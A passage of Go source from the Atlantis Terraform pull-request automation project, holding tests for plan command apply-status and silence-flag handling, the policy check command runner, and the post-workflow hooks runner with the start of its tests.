TerraformOutput: "true", }, }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), }, PlanFailed: false, }, { Description: "Don't block when abortOnExecutionOrderFail is not set", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, ExecutionOrderGroup: 0, ProjectName: "First", }, { CommandName: command.Plan, ExecutionOrderGroup: 1, ProjectName: "Second", }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { Error: errors.New("shabang"), }, { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), }, PlanFailed: true, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { // vcsClient := setup(t) tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) vcsClient := setup(t, func(tc *TestConfig) { tc.database = db }) scopeNull := metricstest.NewLoggingScope(t, logger, "atlantis") pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} cmd := &events.CommentCommand{Name: command.Plan} ctx := &command.Context{ User: testdata.User, Log: logging.NewNoopLogger(t), Scope: scopeNull, Pull: modelPull, HeadRepo: testdata.GithubRepo, Trigger: command.CommentTrigger, } When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).ThenReturn(c.ProjectContexts, nil) // When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).Then(func(args []Param) ReturnValues { // return ReturnValues{[]command.ProjectContext{{CommandName: command.Plan}}, nil} // }) for i := range c.ProjectContexts { When(projectCommandRunner.Plan(c.ProjectContexts[i])).ThenReturn(c.ProjectCommandOutputs[i]) } planCommandRunner.Run(ctx, cmd) for i := range c.ProjectContexts { projectCommandRunner.VerifyWasCalled(c.RunnerInvokeMatch[i]).Plan(c.ProjectContexts[i]) } require.Equal(t, c.PlanFailed, ctx.CommandHasErrors) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Eq(modelPull.Num), Any[string](), Eq("plan"), ) }) } } func TestPlanCommandRunner_AtlantisApplyStatus(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) cases := []struct { Description string ProjectContexts []command.ProjectContext ProjectCommandOutput []command.ProjectCommandOutput PrevPlanStored bool // stores a previous "No changes" plan in the database DoNotUpdateApply bool // certain circumtances we want to skip the call to update apply ExpVCSApplyStatusTotal int ExpVCSApplyStatusSucc int }{ { Description: "When planning with changes, do not change the apply status", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, RepoRelDir: "mydir", }, }, ProjectCommandOutput: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "Plan: 0 to add, 0 to change, 1 to destroy.", }, }, }, DoNotUpdateApply: true, }, { Description: "When planning with no changes, set the 1/1 apply status", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, RepoRelDir: "mydir", }, }, ProjectCommandOutput: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", }, }, }, ExpVCSApplyStatusTotal: 1, ExpVCSApplyStatusSucc: 1, }, { Description: "When planning with no changes and previous plan with no changes do not set the apply status", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, RepoRelDir: "mydir", }, }, ProjectCommandOutput: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "Plan: 0 to add, 0 to change, 1 to destroy.", }, }, }, DoNotUpdateApply: true, PrevPlanStored: true, }, { Description: "When planning with no changes and previous 'No changes' plan, set the 2/2 apply status", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, RepoRelDir: "mydir", }, }, ProjectCommandOutput: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", }, }, }, PrevPlanStored: true, ExpVCSApplyStatusTotal: 2, ExpVCSApplyStatusSucc: 2, }, { Description: "When planning again with changes following a previous 'No changes' plan do not set the apply status", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, RepoRelDir: "prevdir", Workspace: "default", }, }, ProjectCommandOutput: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "Plan: 0 to add, 0 to change, 1 to destroy.", }, }, }, DoNotUpdateApply: true, PrevPlanStored: true, }, { Description: "When planning again with changes following a previous 'No changes' plan, while another plan with 'No changes' do not set the apply status.", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, RepoRelDir: "prevdir", Workspace: "default", }, { CommandName: command.Plan, RepoRelDir: "mydir", }, }, ProjectCommandOutput: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "Plan: 0 to add, 0 to change, 1 to destroy.", }, }, { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", }, }, }, DoNotUpdateApply: true, PrevPlanStored: true, }, { Description: "When planning again with no changes following a previous 'No changes' plan, while another plan also with 'No changes', set the 2/2 apply status.", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, RepoRelDir: "prevdir", Workspace: "default", }, { CommandName: command.Plan, RepoRelDir: "mydir", }, }, ProjectCommandOutput: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", }, }, { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", }, }, }, PrevPlanStored: true, ExpVCSApplyStatusTotal: 2, ExpVCSApplyStatusSucc: 2, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { // create an empty DB tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) vcsClient := setup(t, func(tc *TestConfig) { tc.database = db }) scopeNull := metricstest.NewLoggingScope(t, logger, "atlantis") modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} cmd := &events.CommentCommand{Name: command.Plan} ctx := &command.Context{ User: testdata.User, Log: logging.NewNoopLogger(t), Scope: scopeNull, Pull: modelPull, HeadRepo: testdata.GithubRepo, Trigger: command.CommentTrigger, } if c.PrevPlanStored { _, err = db.UpdatePullWithResults(modelPull, []command.ProjectResult{ { Command: command.Plan, RepoRelDir: "prevdir", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Your infrastructure matches the configuration.", }, }, }, }) Ok(t, err) } When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).ThenReturn(c.ProjectContexts, nil) for i := range c.ProjectContexts { When(projectCommandRunner.Plan(c.ProjectContexts[i])).ThenReturn(c.ProjectCommandOutput[i]) } planCommandRunner.Run(ctx, cmd) vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), AnyInt(), AnyString(), AnyString()) ExpCommitStatus := models.SuccessCommitStatus if c.ExpVCSApplyStatusSucc != c.ExpVCSApplyStatusTotal { ExpCommitStatus = models.PendingCommitStatus } if c.DoNotUpdateApply { commitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Eq[command.Name](command.Apply), AnyInt(), AnyInt(), ) } else { commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq[models.CommitStatus](ExpCommitStatus), Eq[command.Name](command.Apply), Eq(c.ExpVCSApplyStatusSucc), Eq(c.ExpVCSApplyStatusTotal), ) } }) } } // TestPlanCommandRunner_SilenceFlagsClearsPendingStatus tests that when silence flags are enabled // and no projects are found, the pending status that was set earlier is cleared. // This is a regression test for issue #5389 where PRs were getting stuck with pending status. func TestPlanCommandRunner_SilenceFlagsClearsPendingStatus(t *testing.T) { // Test the specific scenario from issue #5389: // When silence flags are enabled and no projects match when_modified patterns, // the pending status should be cleared instead of leaving the PR stuck. // This test ensures that even when ATLANTIS_SILENCE_VCS_STATUS_NO_PLANS and // ATLANTIS_SILENCE_VCS_STATUS_NO_PROJECTS are true, we still update the status // to clear any pending state that was set earlier (e.g., in command_runner.go) t.Run("silence flags with no projects should not set any status", func(t *testing.T) { RegisterMockTestingT(t) _ = setup(t, func(tc *TestConfig) { tc.SilenceNoProjects = true tc.silenceVCSStatusNoProjects = true // This is the key flag tc.silenceVCSStatusNoPlans = true // This is the key flag }) modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} scopeNull := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), "atlantis") ctx := &command.Context{ User: testdata.User, Log: logging.NewNoopLogger(t), Scope: scopeNull, Pull: modelPull, HeadRepo: testdata.GithubRepo, Trigger: command.AutoTrigger, } // Mock no projects found (simulating when_modified patterns not matching) When(projectCommandBuilder.BuildAutoplanCommands(ctx)).ThenReturn([]command.ProjectContext{}, nil) // This is the key test: when both conditions are true: // 1. Silence flags are enabled // 2. No projects are found // We should NOT set any VCS status at all // The plan runner is now configured with silence flags // When it finds no projects, it should not set any VCS status // because silence means no status checks at all // Run through the plan command (which will internally check for projects) cmd := &events.CommentCommand{Name: command.Plan} planCommandRunner.Run(ctx, cmd) // CRITICAL VERIFICATION: With silence flags enabled, no status should be set at all // This prevents any VCS status checks from being created (issue #5389) // The silence flags mean "don't create any status checks" commitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Any[command.Name](), Any[int](), Any[int](), ) }) } func TestPlanCommandRunner_PendingApplyStatus(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) cases := []struct { Description string VCSType models.VCSHostType PendingApplyFlag bool ProjectResults []command.ProjectCommandOutput ExpApplyStatus models.CommitStatus ExpVCSApplyStatusTotal int ExpVCSApplyStatusSucc int ExpShouldUpdateStatus bool }{ { Description: "GitLab with flag enabled and unapplied plans should set pending status", VCSType: models.Gitlab, PendingApplyFlag: true, ProjectResults: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "Plan: 1 to add, 0 to change, 0 to destroy.", }, }, }, ExpApplyStatus: models.PendingCommitStatus, ExpVCSApplyStatusTotal: 1, ExpVCSApplyStatusSucc: 0, ExpShouldUpdateStatus: true, }, { Description: "GitLab with flag disabled and unapplied plans should NOT update apply status", VCSType: models.Gitlab, PendingApplyFlag: false, ProjectResults: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "Plan: 1 to add, 0 to change, 0 to destroy.", }, }, }, ExpShouldUpdateStatus: false, }, { Description: "GitHub with flag enabled should NOT update apply status (default behavior)", VCSType: models.Github, PendingApplyFlag: true, ProjectResults: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "Plan: 1 to add, 0 to change, 0 to destroy.", }, }, }, ExpShouldUpdateStatus: false, }, { Description: "GitLab with all plans applied should set success status", VCSType: models.Gitlab, PendingApplyFlag: true, ProjectResults: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", }, }, }, ExpApplyStatus: models.SuccessCommitStatus, ExpVCSApplyStatusTotal: 1, ExpVCSApplyStatusSucc: 1, ExpShouldUpdateStatus: true, }, { Description: "Bitbucket with flag enabled should NOT update apply status", VCSType: models.BitbucketCloud, PendingApplyFlag: true, ProjectResults: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "Plan: 1 to add, 0 to change, 0 to destroy.", }, }, }, ExpShouldUpdateStatus: false, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) _ = setup(t, func(tc *TestConfig) { tc.database = db tc.PendingApplyStatus = c.PendingApplyFlag }) scopeNull := metricstest.NewLoggingScope(t, logger, "atlantis") // Create repo with the appropriate VCS type repo := testdata.GithubRepo repo.VCSHost = models.VCSHost{ Type: c.VCSType, } modelPull := models.PullRequest{ BaseRepo: repo, State: models.OpenPullState, Num: testdata.Pull.Num, } cmd := &events.CommentCommand{Name: command.Plan} ctx := &command.Context{ User: testdata.User, Log: logging.NewNoopLogger(t), Scope: scopeNull, Pull: modelPull, HeadRepo: repo, Trigger: command.CommentTrigger, } projectContexts := []command.ProjectContext{ { CommandName: command.Plan, RepoRelDir: "mydir", }, } When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).ThenReturn(projectContexts, nil) When(projectCommandRunner.Plan(projectContexts[0])).ThenReturn(c.ProjectResults[0]) planCommandRunner.Run(ctx, cmd) // Verify based on whether we expect a status update if c.ExpShouldUpdateStatus { commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq[models.CommitStatus](c.ExpApplyStatus), Eq[command.Name](command.Apply), Eq(c.ExpVCSApplyStatusSucc), Eq(c.ExpVCSApplyStatusTotal), ) } else { // Verify that UpdateCombinedCount was NOT called for Apply command commitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Eq[command.Name](command.Apply), Any[int](), Any[int](), ) } }) } } ================================================ FILE: server/events/policy_check_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" ) func NewPolicyCheckCommandRunner( dbUpdater *DBUpdater, pullUpdater *PullUpdater, commitStatusUpdater CommitStatusUpdater, projectCommandRunner ProjectPolicyCheckCommandRunner, parallelPoolSize int, silenceVCSStatusNoProjects bool, quietPolicyChecks bool, ) *PolicyCheckCommandRunner { return &PolicyCheckCommandRunner{ dbUpdater: dbUpdater, pullUpdater: pullUpdater, commitStatusUpdater: commitStatusUpdater, prjCmdRunner: projectCommandRunner, parallelPoolSize: parallelPoolSize, silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, quietPolicyChecks: quietPolicyChecks, } } type PolicyCheckCommandRunner struct { dbUpdater *DBUpdater pullUpdater *PullUpdater commitStatusUpdater CommitStatusUpdater prjCmdRunner ProjectPolicyCheckCommandRunner parallelPoolSize int // SilenceVCSStatusNoProjects is whether any plan should set commit status if no projects // are found silenceVCSStatusNoProjects bool quietPolicyChecks bool } func (p *PolicyCheckCommandRunner) Run(ctx *command.Context, cmds []command.ProjectContext) { if len(cmds) == 0 { ctx.Log.Info("no projects to run policy_check in") if !p.silenceVCSStatusNoProjects { // If there were no projects modified, we set successful commit statuses // with 0/0 projects policy_checked successfully because some users require // the Atlantis status to be passing for all pull requests. ctx.Log.Debug("setting VCS status to success with no projects found") if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } return } // So set policy_check commit status to pending if err := p.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.PolicyCheck); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } var result command.Result if p.isParallelEnabled(cmds) { ctx.Log.Info("Running policy_checks in parallel") result = runProjectCmdsParallel(cmds, p.prjCmdRunner.PolicyCheck, p.parallelPoolSize) } else { result = runProjectCmds(cmds, p.prjCmdRunner.PolicyCheck) } // Quiet policy checks unless there's an error if result.HasErrors() || !p.quietPolicyChecks { p.pullUpdater.updatePull(ctx, PolicyCheckCommand{}, result) } pullStatus, err := p.dbUpdater.updateDB(ctx, ctx.Pull, result.ProjectResults) if err != nil { ctx.Log.Err("writing results: %s", err) } p.updateCommitStatus(ctx, pullStatus) } func (p *PolicyCheckCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus) { var numSuccess int var numErrored int status := models.SuccessCommitStatus numSuccess = pullStatus.StatusCount(models.PassedPolicyCheckStatus) numErrored = pullStatus.StatusCount(models.ErroredPolicyCheckStatus) if numErrored > 0 { status = models.FailedCommitStatus } if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, status, command.PolicyCheck, numSuccess, len(pullStatus.Projects)); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } func (p *PolicyCheckCommandRunner) isParallelEnabled(cmds []command.ProjectContext) bool { return len(cmds) > 0 && cmds[0].ParallelPolicyCheckEnabled } ================================================ FILE: server/events/post_workflow_hooks_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "strings" "github.com/google/uuid" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" ) //go:generate pegomock generate --package mocks -o mocks/mock_post_workflow_hook_url_generator.go PostWorkflowHookURLGenerator // PostWorkflowHookURLGenerator generates urls to view the post workflow progress. type PostWorkflowHookURLGenerator interface { GenerateProjectWorkflowHookURL(hookID string) (string, error) } //go:generate pegomock generate --package mocks -o mocks/mock_post_workflows_hooks_command_runner.go PostWorkflowHooksCommandRunner type PostWorkflowHooksCommandRunner interface { RunPostHooks(ctx *command.Context, cmd *CommentCommand) error } // DefaultPostWorkflowHooksCommandRunner is the first step when processing a workflow hook commands. type DefaultPostWorkflowHooksCommandRunner struct { VCSClient vcs.Client `validate:"required"` WorkingDirLocker WorkingDirLocker `validate:"required"` WorkingDir WorkingDir `validate:"required"` GlobalCfg valid.GlobalCfg `validate:"required"` PostWorkflowHookRunner runtime.PostWorkflowHookRunner `validate:"required"` CommitStatusUpdater CommitStatusUpdater `validate:"required"` Router PostWorkflowHookURLGenerator `validate:"required"` } // RunPostHooks runs post_workflow_hooks after a plan/apply has completed func (w *DefaultPostWorkflowHooksCommandRunner) RunPostHooks(ctx *command.Context, cmd *CommentCommand) error { postWorkflowHooks := make([]*valid.WorkflowHook, 0) for _, repo := range w.GlobalCfg.Repos { if repo.IDMatches(ctx.Pull.BaseRepo.ID()) && repo.BranchMatches(ctx.Pull.BaseBranch) && len(repo.PostWorkflowHooks) > 0 { postWorkflowHooks = append(postWorkflowHooks, repo.PostWorkflowHooks...) } } // short circuit any other calls if there are no post-hooks configured if len(postWorkflowHooks) == 0 { return nil } ctx.Log.Info("Post-workflow hooks configured, running...") unlockFn, err := w.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, DefaultWorkspace, DefaultRepoRelDir, "", cmd.Name) if err != nil { return err } ctx.Log.Debug("got workspace lock") defer unlockFn() repoDir, err := w.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace) if err != nil { return err } var escapedArgs []string if cmd != nil { escapedArgs = escapeArgs(cmd.Flags) } err = w.runHooks( models.WorkflowHookCommandContext{ BaseRepo: ctx.Pull.BaseRepo, HeadRepo: ctx.HeadRepo, Log: ctx.Log, Pull: ctx.Pull, User: ctx.User, Verbose: false, EscapedCommentArgs: escapedArgs, CommandName: cmd.Name.String(), CommandHasErrors: ctx.CommandHasErrors, API: ctx.API, }, postWorkflowHooks, repoDir) if err != nil { ctx.Log.Err("Error running post-workflow hooks %s.", err) return err } return nil } func (w *DefaultPostWorkflowHooksCommandRunner) runHooks( ctx models.WorkflowHookCommandContext, postWorkflowHooks []*valid.WorkflowHook, repoDir string, ) error { for i, hook := range postWorkflowHooks { ctx.HookDescription = hook.StepDescription if ctx.HookDescription == "" { ctx.HookDescription = fmt.Sprintf("Post workflow hook #%d", i) } ctx.HookStepName = fmt.Sprintf("post %s #%d", ctx.CommandName, i) ctx.Log.Debug("Processing post workflow hook '%s', Command '%s', Target commands [%s]", ctx.HookDescription, ctx.CommandName, hook.Commands) if hook.Commands != "" && !strings.Contains(hook.Commands, ctx.CommandName) { ctx.Log.Debug("Skipping post workflow hook '%s' as command '%s' is not in Commands [%s]", ctx.HookDescription, ctx.CommandName, hook.Commands) continue } ctx.Log.Debug("Running post workflow hook: '%s'", ctx.HookDescription) ctx.HookID = uuid.NewString() shell := hook.Shell if shell == "" { ctx.Log.Debug("Setting shell to default: '%s'", shell) shell = "sh" } shellArgs := hook.ShellArgs if shellArgs == "" { ctx.Log.Debug("Setting shellArgs to default: '%s'", shellArgs) shellArgs = "-c" } url, err := w.Router.GenerateProjectWorkflowHookURL(ctx.HookID) if err != nil && !ctx.API { return err } if err := w.CommitStatusUpdater.UpdatePostWorkflowHook(ctx.Log, ctx.Pull, models.PendingCommitStatus, ctx.HookDescription, "", url); err != nil { ctx.Log.Warn("unable to update post workflow hook status: %s", err) } _, runtimeDesc, err := w.PostWorkflowHookRunner.Run(ctx, hook.RunCommand, shell, shellArgs, repoDir) if err != nil { if err := w.CommitStatusUpdater.UpdatePostWorkflowHook(ctx.Log, ctx.Pull, models.FailedCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil { ctx.Log.Warn("unable to update post workflow hook status: %s", err) } return err } if err := w.CommitStatusUpdater.UpdatePostWorkflowHook(ctx.Log, ctx.Pull, models.SuccessCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil { ctx.Log.Warn("unable to update post workflow hook status: %s", err) } } ctx.Log.Info("Post-workflow hooks completed") return nil } ================================================ FILE: server/events/post_workflow_hooks_command_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "errors" "fmt" "reflect" "testing" "github.com/google/uuid" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config/valid" runtime_mocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/models/testdata" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) type WorkflowHookCommandContextMatcher struct { expected models.WorkflowHookCommandContext } func (m WorkflowHookCommandContextMatcher) Matches(param Param) bool { actual, ok := param.(models.WorkflowHookCommandContext) if !ok { return false } if err := uuid.Validate(actual.HookID); err != nil { return false } actual.HookID = "" m.expected.HookID = "" return reflect.DeepEqual(m.expected, actual) } func (m WorkflowHookCommandContextMatcher) String() string { return fmt.Sprintf("WorkflowHookCommandContex(%#v)", m.expected) } var postWh events.DefaultPostWorkflowHooksCommandRunner var postWhWorkingDir *mocks.MockWorkingDir var postWhWorkingDirLocker *mocks.MockWorkingDirLocker var whPostWorkflowHookRunner *runtime_mocks.MockPostWorkflowHookRunner var postCommitStatusUpdater *mocks.MockCommitStatusUpdater func postWorkflowHooksSetup(t *testing.T) { RegisterMockTestingT(t) vcsClient := vcsmocks.NewMockClient() postWhWorkingDir = mocks.NewMockWorkingDir() postWhWorkingDirLocker = mocks.NewMockWorkingDirLocker() whPostWorkflowHookRunner = runtime_mocks.NewMockPostWorkflowHookRunner() postCommitStatusUpdater = mocks.NewMockCommitStatusUpdater() postWorkflowHookURLGenerator := mocks.NewMockPostWorkflowHookURLGenerator() postWh = events.DefaultPostWorkflowHooksCommandRunner{ VCSClient: vcsClient, WorkingDirLocker: postWhWorkingDirLocker, WorkingDir: postWhWorkingDir, PostWorkflowHookRunner: whPostWorkflowHookRunner, CommitStatusUpdater: postCommitStatusUpdater, Router: postWorkflowHookURLGenerator, } } func TestRunPostHooks_Clone(t *testing.T) { log := logging.NewNoopLogger(t) var newPull = testdata.Pull newPull.BaseRepo = testdata.GithubRepo ctx := &command.Context{ Pull: newPull, HeadRepo: testdata.GithubRepo, User: testdata.User, Log: log, } defaultShell := "sh" defaultShellArgs := "-c" testHook := valid.WorkflowHook{ StepName: "test", RunCommand: "some command", } testHookWithShell := valid.WorkflowHook{ StepName: "test1", RunCommand: "echo test1", Shell: "bash", } testHookWithShellArgs := valid.WorkflowHook{ StepName: "test2", RunCommand: "echo test2", ShellArgs: "-ce", } testHookWithShellandShellArgs := valid.WorkflowHook{ StepName: "test3", RunCommand: "echo test3", Shell: "bash", ShellArgs: "-ce", } testHookWithPlanCommand := valid.WorkflowHook{ StepName: "test4", RunCommand: "echo test4", Commands: "plan", } testHookWithPlanApplyCommands := valid.WorkflowHook{ StepName: "test5", RunCommand: "echo test5", Commands: "plan, apply", } repoDir := "path/to/repo" result := "some result" runtimeDesc := "" pCtx := models.WorkflowHookCommandContext{ BaseRepo: testdata.GithubRepo, HeadRepo: testdata.GithubRepo, Pull: newPull, Log: log, User: testdata.User, Verbose: false, HookID: uuid.NewString(), CommandName: "plan", } planCmd := &events.CommentCommand{ Name: command.Plan, } applyCmd := &events.CommentCommand{ Name: command.Apply, } t.Run("success hooks in cfg", func(t *testing.T) { postWorkflowHooksSetup(t) unlockCalled := newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } postWh.GlobalCfg = globalCfg When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := postWh.RunPostHooks(ctx, planCmd) Ok(t, err) whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("success hooks in cfg, check context with failed command", func(t *testing.T) { postWorkflowHooksSetup(t) unlockCalled := newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } postWh.GlobalCfg = globalCfg ctx.CommandHasErrors = true expectedCtx := pCtx expectedCtx.CommandHasErrors = true expectedCtx.HookStepName = "post plan #0" expectedCtx.HookDescription = "Post workflow hook #0" When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPostWorkflowHookRunner.Run( ArgThat[models.WorkflowHookCommandContext](WorkflowHookCommandContextMatcher{expected: expectedCtx}), Eq(testHook.RunCommand), Any[string](), Any[string](), Eq(repoDir), )).ThenReturn(result, runtimeDesc, nil) err := postWh.RunPostHooks(ctx, planCmd) Ok(t, err) whPostWorkflowHookRunner.VerifyWasCalledOnce().Run( ArgThat[models.WorkflowHookCommandContext](WorkflowHookCommandContextMatcher{expected: expectedCtx}), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("success hooks not in cfg", func(t *testing.T) { postWorkflowHooksSetup(t) globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ // one with hooks but mismatched id { ID: "id1", PostWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, // one with the correct id but no hooks { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{}, }, }, } postWh.GlobalCfg = globalCfg err := postWh.RunPostHooks(ctx, planCmd) Ok(t, err) whPostWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) postWhWorkingDirLocker.VerifyWasCalled(Never()).TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, "path", command.Plan) postWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace)) }) t.Run("error locking work dir", func(t *testing.T) { postWorkflowHooksSetup(t) globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } postWh.GlobalCfg = globalCfg When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(func() {}, errors.New("some error")) err 